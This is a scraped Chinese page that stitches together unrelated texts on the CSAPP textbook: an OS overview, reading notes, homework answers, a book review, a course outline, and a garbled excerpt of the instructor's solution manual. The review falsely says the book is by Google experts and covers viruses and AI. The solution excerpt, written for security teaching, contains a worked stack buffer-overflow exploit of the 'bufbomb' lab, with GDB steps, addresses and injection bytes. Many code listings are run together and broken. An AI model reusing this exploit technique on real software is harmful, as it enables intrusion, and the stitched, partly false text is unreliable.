深入理解计算机系统lec01-intro
- 格式:pdf
- 大小:264.17 KB
- 文档页数:48
深入理解计算机操作系统2篇深入理解计算机操作系统(一)计算机操作系统是一种管理和控制计算机硬件以及为其他软件提供基本服务的系统软件。
它负责管理计算机的资源、调度任务的执行、提供用户界面、管理和维护文件系统以及处理设备驱动等功能。
操作系统的性能和稳定性直接影响整个系统的运行效率和可靠性,因此深入理解计算机操作系统对于提高计算机系统的性能至关重要。
在深入理解计算机操作系统之前,首先需要了解操作系统的发展历程。
早期的计算机系统没有操作系统,所有的程序都直接运行在机器上。
然而随着计算机的发展,用户对计算机系统的需求也越来越复杂,这就需要一个可靠的系统来管理计算机资源,于是操作系统诞生了。
最早的操作系统是批处理系统,它可以按照一定的顺序执行任务,但是用户无法与计算机进行交互。
后来,图形界面操作系统的出现使得用户可以通过鼠标和键盘与计算机进行交互,让计算机更加易用。
操作系统有多种类型,如单用户单任务系统、单用户多任务系统、多用户多任务系统等。
每种类型的操作系统都有其独特的特点和应用场景。
对于单用户单任务系统,它只支持一种任务的执行,用户只能一个一个地运行程序。
而单用户多任务系统可以在同一时间内运行多个任务,用户可以通过任务切换快速切换不同的任务。
多用户多任务系统可以支持多个用户同时使用计算机,并在同一时间内运行多个任务。
操作系统的核心是内核,它负责管理计算机的硬件和提供必要的服务。
内核主要包括进程管理、内存管理、文件系统、设备管理和网络通信等功能。
进程管理是指操作系统对进程的创建、调度、终止和通信等操作的管理。
内存管理是指操作系统对内存资源的分配和管理。
文件系统是操作系统对文件和目录的管理和访问控制。
设备管理则负责对计算机的硬件设备进行管理和驱动。
网络通信则是操作系统通过网络协议对计算机的通信进行管理。
深入理解计算机操作系统需要了解操作系统的运行机制和各个模块的作用。
在操作系统的运行过程中,用户通过操作系统提供的图形界面或命令行界面与计算机进行交互,将任务提交给操作系统。
在我刚刚进入中科院计算所读研的时候,同宿舍的师兄便向我推荐了一本《深入理解计算机系统》,这本书从一个程序员的视角详细剖析了整个计算机系统,涵盖了组成原理、汇编语言、体系结构、操作系统、网络等计算机基础知识。
由于时间所限,我并没有立刻阅读,而是将其列入了找工作前的复习书单。
2010年8月,我用了一个月的时间读完了这本书的原版《Computer System:A programmer's perspe ctive》。
后来的事实证明,读完这本书对我找工作的历程帮助很大。
此书图片链接:中文版:/subject/5333562/英文版:/subject/5407246/正文:在阅读的过程中,我对该书的各个章节做了一些标注,以备将来重新翻阅的时候参考。
这些标注主要从两个角度进行,一是对我找工作应试(包括笔试和面试)有没有用,二是对我自身的技术提高有没有用,所以分为应试和修炼两个指标,参照流行的打分标准将其分为从★到★★★★★五个等级。
在找工作顺利结束之后,我又回顾了一下之前的标注,结合自己的笔试、面试经历,重新修订了一下。
其中应试指标的评分主要是以我的求职目标(互联网行业偏算法的软件工程师)为参照,和其他职位的要求会有些出入。
第一章计算机系统漫游A T our of Computer System本章对计算机系统做了一个总体的介绍,用简单明了的语言概括了一些后续章节将要重点展开的概念。
应试★★:在笔试中可能会碰到一些整体上的概念题。
修炼★:属于计算机最基本的概念。
第二章信息的表示和处理Representing and Manipulating Information本章介绍了信息在计算机中的表示形式,重点讲述整数和浮点数的表示形式。
应试★:应试中很少会考到。
修炼★★★:有很多人可能写了多年的代码都不知道浮点数是如何用那4(8)个字节存储的,不知道其实表达式(x-y<0)并不能替代(x<y)。
深入理解计算机系统(第二版) 家庭作业第二章2.55-2.57略2.58int is_little_endian(){int a = 1;return *((char*)&a);}2.59(x&0xFF) | (y&~0xFF)2.60unsigned replace_byte(unsigned x, unsigned char b, int i){return (x & ~(0xFF<<(i<<3))) | (b << (i<<3));}2.61A. !~xB. !xC. !~(x>>((sizeof(int)-1)<<3))D. !(x&0xFF)注意,英文版中C是最低字节,D是最高字节。
中文版恰好反过来了。
这里是按中文版来做的。
2.62这里我感觉应该是英文版对的,int_shifts_are_arithmetic()int int_shifts_are_arithmetic(){int x = -1;return (x>>1) == -1;}2.63对于sra,主要的工作是将xrsl的第w-k-1位扩展到前面的高位。
这个可以利用取反加1来实现,不过这里的加1是加1<<(w-k-1)。
如果x的第w-k-1位为0,取反加1后,前面位全为0,如果为1,取反加1后就全是1。
最后再使用相应的掩码得到结果。
对于srl,注意工作就是将前面的高位清0,即xsra & (1<<(w-k) - 1)。
额外注意k==0时,不能使用1<<(w-k),于是改用2<<(w-k-1)。
int sra(int x, int k){int xsrl = (unsigned) x >> k;int w = sizeof(int) << 3;unsigned z = 1 << (w-k-1);unsigned mask = z - 1;unsigned right = mask & xsrl;unsigned left = ~mask & (~(z&xsrl) + z);return left | right;}int srl(unsigned x, int k){int xsra = (int) x >> k;int w = sizeof(int)*8;unsigned z = 2 << (w-k-1);return (z - 1) & xsra;}2.64int any_even_one(unsigned x){return !!(x & (0x55555555));}2.65int even_ones(unsigned x){x ^= (x >> 16);x ^= (x >> 8);x ^= (x >> 4);x ^= (x >> 2);x ^= (x >> 1);return !(x&1);}x的每个位进行异或,如果为0就说明是偶数个1,如果为1就是奇数个1。
深入理解计算机系统读后感
标题:深入理解计算机系统
正文:
《深入理解计算机系统》是一本非常有价值的书籍,涵盖了计算机科学的基础知识,深入探讨了计算机系统的工作原理、架构和应用领域。
本书由来自Google的两位专家撰写,内容深入浅出,适合初学者和有一定计算机基础的读者阅读。
本书从硬件和软件两个方面深入讲解了计算机系统的组成,其中硬件部分主要介绍了计算机的处理器、存储器、输入输出设备等;而软件部分则主要介绍了计算机程序的编写、编译、运行等过程。
书中通过大量的实例和案例,详细介绍了计算机系统的各个方面,包括计算机病毒、操作系统、网络协议、数据库系统等。
本书还探讨了计算机系统的应用,包括Web开发、人工智能、机器学习等。
通过深入了解计算机系统的工作原理和应用,读者可以更好地理解这些领域的基础知识和实际应用。
除了深入讲解计算机系统的组成和工作原理外,本书还提供了很多实用的技巧和工具,帮助读者更好地理解和应用计算机系统。
例如,书中介绍了如何使用调试器来查找程序中的错误,如何使用版本控制工具来管理代码等。
《深入理解计算机系统》是一本非常有用的书籍,不仅适合初学者,也适合有一定计算机基础的读者。
通过阅读这本书,读者可以更好地理解计算机系统的工作原理和实际应用,提高自己的计算机技能和水平。
《深⼊理解计算机系统》阅读总结与摘要前⾔《深⼊理解计算机系统》值得每位程序员⼀读,看完之后将会对整个计算机体系有⼀个直观的认识。
第⼀章计算机系统漫游只有ascii字符构成的⽂件称为⽂本⽂件,所有其它⽂件都称为⼆进制⽂件。
c语⾔是古怪的,有缺陷的,但同时也是⼀个巨⼤的成功,为什么会成功呢c语⾔与unix操作系统关系密切c语⾔⼩⽽简单c语⾔是为实践⽬的设计的有⼀些重要的原因促使程序员必须知道编译系统是如何⼯作的优化程序性能理解链接时出现的错误避免安全漏洞shell是⼀个命令⾏解释器,它提出⼀个提⽰符,等待输⼊⼀个命令⾏,然后执⾏这个命令。
如果该命令⾏的第⼀个单词不是⼀个内置的shell命令,那么shell就会假设这是⼀个可执⾏⽂件的名字,它将加载并运⾏这个⽂件。
贯穿整个系统的是⼀组电⼦管道,称作总线。
io设备是系统与外部世界的联系通道。
主存是⼀个临时存储设备,在处理器执⾏程序时,⽤来存放程序和程序处理的数据。
处理器,是解释或执⾏存储在主存中指令的引擎。
利⽤直接存储器存取,数据可以不通过处理器⽽直接从磁盘到达主存。
通过让⾼速缓存⾥存放可能经常访问的数据,⼤部分的内存操作都能在快速地⾼速缓存中完成每个计算机系统中的存储设备都被组织成了⼀个存储器层次结构。
操作系统有两个基本功能防⽌硬件被失控的应⽤程序滥⽤,向应⽤程序提供简单⼀致的机制来控制复杂⽽⼜通常⼤不相同的低级硬件设备。
操作系统通过基本的抽象概念(进程,虚拟内存和⽂件)来实现这两个功能。
⽂件是对i/o设备的抽象表⽰,虚拟内存是对主存和磁盘i/o设备的抽象表⽰,进程则是对处理器,主存和i/o设备的抽象表⽰。
进程是对操作系统对⼀个正在运⾏的程序的⼀种抽象。
进程并发运⾏,则是说⼀个进程的指令和另⼀个进程的指令是交错执⾏的。
操作系统实现这种交错执⾏的机制称为上下⽂切换。
操作系统保持跟踪进程运⾏所需的所有状态信息。
这种状态,也就是上下⽂。
当操作系统决定要把控制权从当前进程转移到某个新进程时,就会进⾏上下⽂切换,即保存当前进程的上下⽂,恢复新进程的上下⽂,然后将控制权传递到新进程。
《深入理解计算机系统》读后感这一本书可谓是远负盛名,在看这本书之前,我就已经见过无数个关于这本书的赞誉,这加深了我对它的兴趣。
于是我从第一章开始看这本书。
第一章从世界上绝大多数人开始学习编程的第一个程序hellokitty开始,介绍了hellokitty.c是以字节序列的方式存储在文件中的,像它这样只由ASCII码构成的叫文本文件,其他的称为二进制文件。
而同一串数据,它可能表示的是一个整数,一个浮点数,字符串又或者是机器指令,这个是由读到它的时候的上下文决定的。
接着,介绍的是由源文件转化成目标文件的过程。
hellokitty.c经过预处理器的处理,把#开头的命令都修改一遍,比如#define,这个时候就会用define的内容替换原文,又或者是#include,相应的头文件就会直接插入程序文本中。
预处理后就开始编译了,编译完就可以得到一个汇编程序。
汇编器将汇编程序翻译成机器语言指令,并打包成一个叫可重定位目标程序的格式,将结果保存在一个新的二进制文件中,然后将该文件与该文件调用的printf函数所对应的已预编译的目标文件进行合并,而链接器就是处理这种合并的。
最后得到一个可执行的目标文件,可以被加载到内存中,由系统执行。
接下来它告诉我们的是,了解编译系统如何工作是很有益处的,比如优化程序性能,理解链接时出现的错误,避免安全漏洞。
1,switch是否总是比一系列的ifelse更高效?2,While循环是否比for循环更有效?3,指针引用是否比数组索引更有效?4,为什么将循环变量的结果放到一个本地变量中会比将其放在一个通过引用传递过来的参数运行起来会快很多?对于问题1,switch在一些情况下采用的是一种跳转表的高效的数据结构,不管有多少个标号,它进行跳转的时间都是一样的,所以采用跳转表时运行速度在渐进上会比一系列的ifelse快太多太多了。
但对于标号的值跨度非常大,且比较稀疏,数量比较少的时候,我们就应该好好考虑要不要用跳转表了。
深入理解计算机系统深入理解计算机系统计算机系统是我们日常生活中不可或缺的重要工具。
我们使用计算机进行文字处理、网上浏览信息、娱乐和沟通等活动。
然而,对于大多数人来说,计算机系统是一个神秘而复杂的世界。
本文旨在深入探讨计算机系统的工作原理,使读者更好地理解其运行机制。
计算机系统由硬件和软件组成。
硬件包括中央处理器(CPU)、内存、存储设备、输入设备和输出设备等。
软件包括操作系统、应用软件和编程语言等。
这些组成部分相互配合,实现计算机系统的各种功能。
首先,让我们来探讨计算机系统的核心--中央处理器。
中央处理器是计算机系统的大脑。
它负责执行指令、处理数据和控制计算机的各个部件。
中央处理器的速度决定了计算机系统的整体性能。
现代计算机系统中,多核处理器已经成为主流。
多核处理器可以同时执行多个任务,提高计算机系统的并行处理能力。
除了中央处理器,内存也是计算机系统中至关重要的组件之一。
内存用于存储计算机程序和数据。
与硬盘等存储设备相比,内存的读写速度更快,因此可以提供更快的数据访问。
计算机系统在运行程序时,会将程序和数据从存储设备加载到内存中进行处理。
因此,内存的大小和速度直接影响到计算机系统的性能。
此外,存储设备也是计算机系统中不可或缺的一部分。
存储设备用于长期保存数据和程序。
硬盘是最常见的存储设备之一,它可以存储大量的数据和程序。
与硬盘相比,固态硬盘(SSD)具有更高的读写速度。
它们不包含机械部分,数据的存取速度更快。
而光盘、U盘和云存储等也是常见的存储设备。
在计算机系统中,输入设备和输出设备起到了桥梁的作用。
输入设备允许用户将数据和指令输入到计算机系统中。
常见的输入设备包括键盘、鼠标、扫描仪等。
输出设备则将计算机系统处理的结果显示给用户。
显示器、打印机和音频设备等都属于输出设备。
通过输入设备和输出设备,用户可以与计算机系统进行交互。
除了硬件,软件也是计算机系统不可或缺的一部分。
操作系统是计算机系统的基础软件。
深入理解计算机系统修订版课程设计一、课程简介《深入理解计算机系统》是一门包含计算机软硬件系统知识的综合性课程。
本课程的主要目的是帮助学生理解计算机系统的工作原理,深入了解计算机原理、汇编语言、内存管理、I/O 设备等方面的知识。
本课程由一门理论课程和一个实践课程组成。
理论部分讲授计算机系统结构、操作系统、编译器等基础知识;实践部分则将讲授的理论知识应用于系统编程实践中。
此外,本课程还会介绍现代计算机体系结构的发展进程,让学生了解计算机技术的发展趋势。
二、课程内容1. 计算机系统概述介绍计算机硬件和软件组成及其功能,概述计算机系统的层次结构。
2. 计算机组成介绍计算机体系结构、数据通路和控制器的组成及其功能,并讲述指令系统、指令格式和执行过程。
3. 汇编语言介绍汇编程序设计的基本原理和方法,包括汇编程序的格式、指令系统、常用汇编语言技巧。
4. 内存层次结构和管理介绍内存的层次结构、虚拟存储器和内存管理技术,包括分页和分段等内容。
5. I/O 设备讲述输入/输出设备及其控制程序的基本内容,包括中断机制和设备驱动程序等。
6. 系统级编程讲授系统级编程的基本原理和方法,包括进程、线程、信号、共享内存、进程间通信、文件I/O等内容。
7. 系统结构与优化介绍现代计算机体系结构及其设计方法,包括高速缓存技术、流水线技术、超标量技术、多核技术、乱序执行技术等。
三、课程教学与实践本课程采取理论与实践相结合的授课方式。
在理论部分,主要以授课和讲解为主,辅以案例分析和课堂讨论。
在实践部分,主要进行系统级编程实践,包括进程、线程、信号、共享内存、进程间通信、文件I/O等内容。
本课程要求学生掌握计算机系统的基本原理和方法,具备对计算机系统进行分析、设计和实现的基本能力,能够在Linux和Unix操作系统环境下进行系统级编程的设计和实现,能够分析现代计算机体系结构的特点和优化方法。
四、考核方式本课程的考核方式主要为课程作业和考试相结合。
Computer Systems:A Programmer’s PerspectiveInstructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20031Copyright c2003,R.E.Bryant,D.R.O’Hallaron.All rights reserved.2Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(double x)12{13show_bytes((byte_pointer)&x,sizeof(double));14}code/data/show-ans.c 1int is_little_endian(void)2{3/*MSB=0,LSB=1*/4int x=1;56/*Return MSB when big-endian,LSB when little-endian*/7return(int)(*(char*)&x);8}1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION3 There are many solutions to this problem,but it is a little bit tricky to write one that works for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not define the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x<<k shifts by,i.e.,it ignores all but the least significant5bits of the shift amount.Thus,the expression1<<32yields1.pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most significant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time.4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive ing C notation,if we define y to be x-1,then we have˜y+1equal to-y,and hence˜y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.Thefinal term has no effect on the-bit representation of,but the middle term represents a correction factor that must be added to the high order bits.This is implemented as follows:code/data/uhp-ans.c Problem2.50Solution:Patterns of the kind shown here frequently appear in compiled code.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION5A.:x+(x<<2)B.:x+(x<<3)C.:(x<<4)-(x<<1)D.:(x<<3)-(x<<6)Problem2.51Solution:Bit patterns similar to these arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..˜((1<<k)-1)B..((1<<k)-1)<<jProblem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly tricky.They require generating masks based on the shift amounts.Shift value k equal to0must be handled as a special case,since otherwise we would be generating the mask by performing a left shift by32.6CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1unsigned srl(unsigned x,int k)2{3/*Perform shift arithmetically*/4unsigned xsra=(int)x>>k;5/*Make mask of low order32-k bits*/6unsigned mask=k?((1<<(32-k))-1):˜0;78return xsra&mask;9}code/data/rshift-ans.c 1int sra(int x,int k)2{3/*Perform shift logically*/4int xsrl=(unsigned)x>>k;5/*Make mask of high order k bits*/6unsigned mask=k?˜((1<<(32-k))-1):0;78return(x<0)?mask|xsrl:xsrl;9}.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION7B.(a)For,we have,,code/data/floatge-ans.c 1int float_ge(float x,float y)2{3unsigned ux=f2u(x);4unsigned uy=f2u(y);5unsigned sx=ux>>31;6unsigned sy=uy>>31;78return9(ux<<1==0&&uy<<1==0)||/*Both are zero*/10(!sx&&sy)||/*x>=0,y<0*/11(!sx&&!sy&&ux>=uy)||/*x>=0,y>=0*/12(sx&&sy&&ux<=uy);/*x<0,y<0*/13},8CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS This exercise is of practical value,since Intel-compatible processors perform all of their arithmetic in ex-tended precision.It is interesting to see how adding a few more bits to the exponent greatly increases the range of values that can be represented.Description Extended precisionValueSmallest denorm.Largest norm.Problem2.59Solution:We have found that working throughfloating point representations for small word sizes is very instructive. Problems such as this one help make the description of IEEEfloating point more concrete.Description8000Smallest value4700Largest denormalized———code/data/fpwr2-ans.c1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS91/*Compute2**x*/2float fpwr2(int x){34unsigned exp,sig;5unsigned u;67if(x<-149){8/*Too small.Return0.0*/9exp=0;10sig=0;11}else if(x<-126){12/*Denormalized result*/13exp=0;14sig=1<<(x+149);15}else if(x<128){16/*Normalized result.*/17exp=x+127;18sig=0;19}else{20/*Too big.Return+oo*/21exp=255;22sig=0;23}24u=exp<<23|sig;25return u2f(u);26}10CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS int decode2(int x,int y,int z){int t1=y-z;int t2=x*t1;int t3=(t1<<31)>>31;int t4=t3ˆt2;return t4;}Problem3.32Solution:This code example demonstrates one of the pedagogical challenges of using a compiler to generate assembly code examples.Seemingly insignificant changes in the C code can yield very different results.Of course, students will have to contend with this property as work with machine-generated assembly code anyhow. They will need to be able to decipher many different code patterns.This problem encourages them to think in abstract terms about one such pattern.The following is an annotated version of the assembly code:1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will computefirst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also setin else-statement.1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:9result=*p1;10*p1=*p2;11break;12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;12break;13case54:14result*=3;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;15cnt--;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt);1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer overflow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one function,we can alter the behavior of another function that should always return afixed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4<getbuf>:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff call8048470<getxs>98048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3ret13804850f:90nopWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes below the return address.Our strategy then is to push a string that contains12bytes of code,the saved value1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.Wefind the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.Wefind the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will overflow into the stack frame for test,but they will not affect the program behavior. Assembling this code and disassembling the object code gives us the following:10:6828850408push$0x804852825:b8ef be ad de mov$0xdeadbeef,%eax3a:c3ret4b:90nop Byte inserted for alignment.5c:e8ef ff bf bc call0xbcc00000Invalid disassembly.611:ef out%eax,(%dx)Trying to diassemble712:ff(bad)data813:bf00000000mov$0x0,%edi16CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS From this we can read off the byte sequence:6828850408b8ef be ad de c390e8ef ff bf bc ef ff bf00000000Problem3.39Solution:This problem is a variant on the asm examples in the text.The code is actually fairly simple.It relies on the fact that asm outputs can be arbitrary lvalues,and hence we can use dest[0]and dest[1]directly in the output list.code/asm/asmprobs-ans.c Problem3.40Solution:For this example,students essentially have to write the entire function in assembly.There is no(apparent) way to interface between thefloating point registers and the C code using extended asm.code/asm/fscale.c1.4.CHAPTER4:PROCESSOR ARCHITECTURE17 1.4Chapter4:Processor ArchitectureProblem4.32Solution:This problem makes students carefully examine the tables showing the computation stages for the different instructions.The steps for iaddl are a hybrid of those for irmovl and OPl.StageFetchrA:rB M PCvalP PCExecuteR rB valEPC updateleaveicode:ifun M PCDecodevalB RvalE valBMemoryWrite backR valMPC valPProblem4.34Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions.The implementations are fairly straightforward given the computation steps listed in the solutions to problems4.32and4.33.You can test the solutions using the test code in the ptest subdirectory.Make sure you use command line argument‘-i.’18CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1####################################################################2#HCL Description of Control for Single Cycle Y86Processor SEQ#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"sim.h"’15quote’int sim_main(int argc,char*argv[]);’16quote’int gen_pc(){return0;}’17quote’int main(int argc,char*argv[])’18quote’{plusmode=0;return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’35intsig IPUSHL’I_PUSHL’36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##### 48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic####################1.4.CHAPTER4:PROCESSOR ARCHITECTURE195152#####Fetch stage inputs#####53intsig pc’pc’#Program counter54#####Fetch stage computations#####55intsig icode’icode’#Instruction control code56intsig ifun’ifun’#Instruction function57intsig rA’ra’#rA field from instruction58intsig rB’rb’#rB field from instruction59intsig valC’valc’#Constant from instruction60intsig valP’valp’#Address of following instruction 6162#####Decode stage computations#####63intsig valA’vala’#Value from register A port64intsig valB’valb’#Value from register B port 6566#####Execute stage computations#####67intsig valE’vale’#Value computed by ALU68boolsig Bch’bcond’#Branch test6970#####Memory stage computations#####71intsig valM’valm’#Value read from memory727374####################################################################75#Control Signal Definitions.#76#################################################################### 7778################Fetch Stage################################### 7980#Does fetched instruction require a regid byte?81bool need_regids=82icode in{IRRMOVL,IOPL,IPUSHL,IPOPL,83IIADDL,84IIRMOVL,IRMMOVL,IMRMOVL};8586#Does fetched instruction require a constant word?87bool need_valC=88icode in{IIRMOVL,IRMMOVL,IMRMOVL,IJXX,ICALL,IIADDL};8990bool instr_valid=icode in91{INOP,IHALT,IRRMOVL,IIRMOVL,IRMMOVL,IMRMOVL,92IIADDL,ILEAVE,93IOPL,IJXX,ICALL,IRET,IPUSHL,IPOPL};9495################Decode Stage################################### 9697##What register should be used as the A source?98int srcA=[99icode in{IRRMOVL,IRMMOVL,IOPL,IPUSHL}:rA;20CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 101icode in{IPOPL,IRET}:RESP;1021:RNONE;#Don’t need register103];104105##What register should be used as the B source?106int srcB=[107icode in{IOPL,IRMMOVL,IMRMOVL}:rB;108icode in{IIADDL}:rB;109icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;110icode in{ILEAVE}:REBP;1111:RNONE;#Don’t need register112];113114##What register should be used as the E destination?115int dstE=[116icode in{IRRMOVL,IIRMOVL,IOPL}:rB;117icode in{IIADDL}:rB;118icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;119icode in{ILEAVE}:RESP;1201:RNONE;#Don’t need register121];122123##What register should be used as the M destination?124int dstM=[125icode in{IMRMOVL,IPOPL}:rA;126icode in{ILEAVE}:REBP;1271:RNONE;#Don’t need register128];129130################Execute Stage###################################131132##Select input A to ALU133int aluA=[134icode in{IRRMOVL,IOPL}:valA;135icode in{IIRMOVL,IRMMOVL,IMRMOVL}:valC;136icode in{IIADDL}:valC;137icode in{ICALL,IPUSHL}:-4;138icode in{IRET,IPOPL}:4;139icode in{ILEAVE}:4;140#Other instructions don’t need ALU141];142143##Select input B to ALU144int aluB=[145icode in{IRMMOVL,IMRMOVL,IOPL,ICALL,146IPUSHL,IRET,IPOPL}:valB;147icode in{IIADDL,ILEAVE}:valB;148icode in{IRRMOVL,IIRMOVL}:0;149#Other instructions don’t need 